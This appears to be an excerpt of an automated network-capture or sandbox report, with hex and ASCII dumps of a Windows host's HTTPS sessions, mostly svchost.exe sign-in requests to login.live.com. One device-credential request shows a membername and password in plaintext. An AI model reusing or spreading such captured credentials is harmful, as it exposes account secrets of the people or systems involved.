2024-10-29 03:17:28 UTC	16384	IN	Data Raw: 54 74 77 4f 3a 08 61 8c c6 2e 09 5e 26 0f ef dd 40 fb cf 55 c3 f9 5f cc 08 f8 77 fd b4 32 83 ad 81 33 6f 9f 7f d5 42 8e 33 53 e9 70 8f f1 8b 59 3a eb bc b1 c4 fe 75 a2 45 3e 4b ae fa ed 63 ce de be 5b c0 eb fd 08 d8 cf 29 54 5d d2 54 8f bf f7 09 4e a0 3a a6 e2 36 ba 29 ef d0 3d 00 88 c2 34 3e a1 85 cb f7 64 d0 54 3e 23 a0 7e ef 84 66 12 fe 1f df e3 3a 89 5f 3a d5 59 1d da f6 5d 4d e9 1c 64 8f dd 50 4f 70 fa d6 7e c1 cc 18 65 cf 6e 25 21 7a be 40 c1 1d 3a 05 26 8c 52 fe 3b a6 e5 c3 a2 d0 da c4 5a d6 db 9d 6b c4 7f 6f 14 af ba 6e 62 af 83 22 85 7b ea be 7b a0 f3 2c a2 5d 39 11 59 d7 f6 d9 60 00 fa 1d 21 7f 27 03 bf d5 3a 23 d0 98 3a 31 8b 87 ef 15 56 32 4f 62 e0 09 fa 29 c9 ad 7a 0f 89 58 ac 6b 22 66 c6 25 cd 7c d9 15 1b de be 5e 24 f1 3a 30 24 cf d8 78 cb Data Ascii: TtwO:a.^&@U_w23oB3SpY:uE>Kc[)T]TN:6)=4>dT>#~f:_:Y]MdPOp~en%!z@:&R;Zkonb"{{,]9Y`!':#:1V2Ob)zXk"f%\|^$:0$x
2024-10-29 03:17:29 UTC	16384	IN	Data Raw: e5 63 33 b2 7d 0d a1 5c 3a 83 ca a4 ba be b1 c3 d4 db 81 df ba 08 86 9d cb c4 84 90 7c fe 4b aa eb f0 83 56 3a 92 6e 11 ea 4b ef 9d 39 18 54 be d7 1e cd ab 16 3e 65 9d f6 0f f8 60 3a 04 83 ab dd be 1e 7d ea 8e c9 8c df 3e 91 89 e2 87 aa 64 fb ea 23 d2 af 8e d0 3e f8 be af 72 f3 33 75 83 d0 8a 22 80 20 16 7c 10 e1 11 52 be 39 4e 67 c4 aa be 87 f5 c3 1a 70 df bc 9a 68 82 8a 25 2d d0 3e 4a 71 0f 3a 15 e3 55 9f 5b de 5d ba db 25 b8 39 41 5b cd f6 13 7c 8f e9 79 27 18 43 d3 3d de 61 06 82 8c eb e6 87 9e c1 e7 27 d4 b9 b1 61 d5 7e 0f f1 5d d4 44 77 7a e4 5e 22 8d 4a be ce 9b ba 3e bd c2 ee f8 7f 93 87 3d d0 b0 e0 42 58 be bf 5a 7c c4 a3 0e c9 92 9a 1d 84 a4 f5 5e 7b dd e4 24 b6 a0 85 f8 89 99 52 93 a4 50 90 be 74 af d0 fb d6 5d c8 17 61 b6 e6 76 a2 20 ce ea 84 Data Ascii: c3}\:\|KV:nK9T>e`:}>d#>r3u" \|R9Ngph%->Jq:U[]%9A[\|y'C=a'a~]Dwz^"J>=BXZ\|^{$RPt]av
2024-10-29 03:17:29 UTC	16384	IN	Data Raw: 3c 2c ca ad cd 12 f8 e7 ba 32 74 96 e0 be f6 06 dc 23 81 ac 32 3e 73 ac c6 18 2b 3e fa 03 0a 82 3a 0a e1 0f e0 f1 c0 a2 59 be 53 e8 bb 6e 6f ae e1 1b 85 d8 e3 26 28 97 d6 19 16 9b 60 44 21 be dc f8 30 de 41 33 66 7b 3a a9 71 8d a1 23 b0 85 7a 36 bb c3 f4 e6 75 52 9a 03 70 07 86 7f 81 51 df f1 b6 85 fc 9d 30 8f 9b 51 a2 42 ba 27 dc d3 ba 1a be 77 39 fb 81 d7 bc 2d 88 aa 10 5a 22 bf fe bb 7d 5b ef 96 5b a2 ed 0d eb bb 5d 7c 81 dd 41 12 8d 5c da 3e 60 a9 c5 1b 14 e2 81 d9 59 90 96 e0 22 27 3a f4 51 9f ca 41 80 c3 8b 2c e0 0f fa fd e2 fe c7 d6 ba 86 3d df 2a de b9 09 79 bb df bb e6 4f 3d 2c 1f 99 3a 2d 23 e1 d6 e6 e5 1e 08 e8 49 fe b5 ed 57 6f e1 10 cc 8a d0 19 86 b4 15 cc 62 03 ba 1f bd ca e9 33 4d 5e 66 32 86 06 20 fe 06 5e 9b 3f 90 5d 04 ff cd 3f 88 fb 83 Data Ascii: <,2t#2>s+>:YSno&(`D!0A3f{:q#z6uRpQ0QB'w9-Z"}[[]\|A\>`Y"':QA,=*yO=,:-#IWob3M^f2 ^?]?
2024-10-29 03:17:29 UTC	16384	IN	Data Raw: c1 57 79 84 fe bd e1 0d ba eb 59 df ba 20 82 b3 93 b4 22 85 3a 34 66 29 3a ef 82 83 73 74 22 b5 7f f3 50 af 8d 2e 21 a9 d7 19 7d ce ec 09 97 5d 41 0d 65 e4 18 3e 28 37 bf 4b 17 43 ba 7f 24 a8 e8 d1 b2 dd 51 be f3 9d e4 2a 08 9d 02 97 89 be 88 4c 5e dd ef a5 84 a7 59 3e 66 db 9b 91 eb 1e 7c bc 95 94 50 7e d8 dd de 00 81 9a 88 1d 7d a5 96 f5 5d 2d ba 30 77 c8 e1 17 1c 50 ba 26 e3 dd 79 22 6c eb 1f fb dc b5 ac 1e 77 b9 27 34 e1 ce 92 03 46 7b e3 2a e1 a1 c1 19 b9 ae 36 34 65 a5 74 2f 7a c0 d4 01 c1 b5 80 43 01 c6 cc 08 92 a5 9f 31 75 79 c7 a6 5b ba ec 25 63 bd fb 28 98 c0 3a 44 88 c2 83 5d 73 ac f1 0c 92 70 3a 99 26 a5 d0 0f ca c9 8e 3e 7a 93 f9 41 19 d7 74 61 22 b9 5a be 53 39 ba 41 c0 a1 f0 46 a2 52 9b f7 65 4c 7b 2b 21 9d c3 05 22 d6 88 3e 10 02 3a b1 8a Data Ascii: WyY ":4f):st"P.!}]Ae>(7KC$QL^Y>f\|P~}]-0wP&y"lw'4F{64et/zC1uy[%c(:D]sp:&>zAta"ZS9AFReL{+!">:
2024-10-29 03:17:29 UTC	16384	IN	Data Raw: d4 be e5 c9 c9 ec cf 30 89 21 f4 6b c1 2b d6 a6 3f ff 6a df 06 4d ca ad 2e 0b 5d c4 db be da 4f 6d 3d 46 94 c7 2d 30 e2 72 5e ad b6 e7 0f 06 5e d1 36 a2 d1 bc 44 7b bd 30 81 d3 c3 91 4e a2 a8 87 1c a2 5d 88 e0 ad 3d 3a 13 bb b5 3f be 88 58 9b 29 4d b7 84 3d 79 89 f7 31 27 ce d8 e2 22 e1 c8 02 28 bc 38 bf 76 b3 de e3 69 ae fc 2a c9 dd c3 20 8e 8b ec ef 22 c5 80 07 28 ed ed 65 46 d6 93 3e 21 d6 93 34 51 e1 ef 14 6b ae 00 ec 62 5d de f5 ea dd cf 32 7f d1 2a 3e 6c cd d0 33 7a 5b 72 ff 14 cf 82 2b 26 a6 f1 56 0d a6 91 27 22 9c d1 2a 34 ad c8 89 e3 61 c3 07 fb 95 d6 13 01 b7 8c be 89 8f 26 be 89 c8 f2 44 7e a1 bc 0d 18 96 ba e0 7c 63 d2 7f 4a 5e bc 41 76 8f e8 0c 87 85 de c0 94 cb 89 2c ba c7 81 1e b1 5d bb e7 93 ac 72 5e bd c4 6e be 70 89 ed 3c ac f3 92 0f 75 Data Ascii: 0!k+?jM.]Om=F-0r^^6D{0N]=:?X)M=y1'"(8vi* "(eF>!4Qkb]2>l3z[r+&V'"4a&D~\|cJ^Av,]r^np<u

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49763	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:42 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 03:17:42 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 03:17:42 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 03:16:42 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BAY x-ms-request-id: 50db13b0-190a-4537-a5a4-7e409dada703 PPServer: PPV: 30 H: PH1PEPF00011EFF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 03:17:42 GMT Connection: close Content-Length: 1276
2024-10-29 03:17:42 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49764	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:44 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-29 03:17:44 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 7a 68 6c 68 7a 66 73 7a 6a 6f 6a 78 75 74 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 33 42 71 39 7e 50 6a 33 79 68 71 56 53 66 51 42 41 79 42 47 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 6b 71 72 6c 66 67 75 6b 69 6a 65 76 6c 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02zhlhzfszjojxut</Membername><Password>3Bq9~Pj3yhqVSfQBAyBG</Password></Authentication><OldMembername>02akqrlfgukijevl</OldM
2024-10-29 03:17:46 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Tue, 29 Oct 2024 03:16:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C528_BAY x-ms-request-id: 5ed39609-8298-47af-92f6-b681eff1d536 PPServer: PPV: 30 H: PH1PEPF0001B869 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 03:17:46 GMT Connection: close Content-Length: 17166
2024-10-29 03:17:46 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 32 34 45 33 45 35 38 37 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 39 63 30 35 61 64 34 65 2d 35 36 32 64 2d 34 64 32 61 2d 62 36 32 37 2d 61 30 66 30 61 37 35 37 30 65 39 37 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018001124E3E587</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="9c05ad4e-562d-4d2a-b627-a0f0a7570e97" LicenseID="3252b20c-d425-4711
2024-10-29 03:17:46 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49765	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:47 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 03:17:47 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 03:17:48 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 03:16:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.3 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C519_BAY x-ms-request-id: 689d3ef5-d592-4740-9e88-fd9bf6436e53 PPServer: PPV: 30 H: PH1PEPF0001B846 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 03:17:48 GMT Connection: close Content-Length: 11392
2024-10-29 03:17:48 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49766	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-29 03:17:49 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 03:17:50 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 03:16:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BAY x-ms-request-id: a064e04a-1d0b-4248-8f64-1f2ef6f2dd3d PPServer: PPV: 30 H: PH1PEPF00011E4C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 03:17:49 GMT Connection: close Content-Length: 1918
2024-10-29 03:17:50 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49767	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:51 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-29 03:17:51 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 03:17:52 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 03:16:51 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C519_BL2 x-ms-request-id: 3d0de702-b6c5-4862-8b36-90904ad20d1c PPServer: PPV: 30 H: BL02EPF0001D950 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 03:17:51 GMT Connection: close Content-Length: 11412
